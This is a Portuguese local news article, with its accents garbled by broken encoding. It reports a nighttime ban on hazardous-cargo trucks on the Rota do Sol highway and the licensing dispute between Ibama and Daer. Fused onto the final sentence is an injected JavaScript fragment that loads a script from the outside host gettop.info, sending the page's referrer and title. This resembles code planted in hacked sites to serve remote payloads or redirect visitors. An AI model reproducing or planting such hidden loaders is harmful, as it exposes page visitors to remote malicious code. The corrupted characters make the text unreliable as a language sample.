A partir de hoje, estA? proibida a circulaA�A?o de veA�culos de carga que transportam produtos perigosos na Rota do Sol (RS-486/RS-453), das 17h A�s 8h, todos os dias, entre Tainhas e Terra de Areia.
A medida faz parte do processo de regularizaA�A?o da licenA�a ambiental de funcionamento da rodovia, pendente desde sua inauguraA�A?o e alvo de uma aA�A?o do Ibama contra o Daer, com aplicaA�A?o de multa.
Essa restriA�A?o de circulaA�A?o A� noite faz parte de um plano emergencial de aA�A�es de controle e fiscalizaA�A?o do transporte de cargas e produtos perigosos exigido pelo Ibama. O objetivo A� reduzir o risco de danos A� flora e A� fauna nas trA?s Unidades de ConservaA�A?o Ambiental existentes no trecho em que a estrada passa pela Mata AtlA?ntica.
A fiscalizaA�A?o caberA? ao 3A?BatalhA?o RodoviA?rio da Brigada Militar. AlA�m da instalaA�A?o de placas na regiA?o, os patrulheiros distribuirA?o fA?lderes informativos aos usuA?rios da Rota do Sol.
Ibama x Daer
Em maio, o Ibama informou ao Pioneiro que a Rota do Sol, liberada ao trA?fego em 2006, nunca teve licenA�a para operar.
O Daer nA?o teria apresentado dois planos fundamentais: um de gerenciamento de risco e outro de aA�A?o de emergA?ncia. Por isso, o Ibama aplicou multa de R$ 5 mil diA?rios, atA� a retomada do processo de licenciamento de operaA�A?o.
Quem sabe…
A� medida que finalmente Daer e Ibama comeA�am a ajustar os ponteiros e colocar a situaA�A?o ambiental da Rota do Sol em dia, abre-se a possibilidade de retomar a discussA?o sobre o limite de velocidade de 40 km/h em Itati.
Quando o ex-secretA?rio de Infraestrutura Beto Albuquerque sugeriu a troca dos pardais por barreiras fA�sicas que impedissem a travessia de animais, o Ibama nem quis conversa, exatamente pela falta do licenciamento ambiental.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
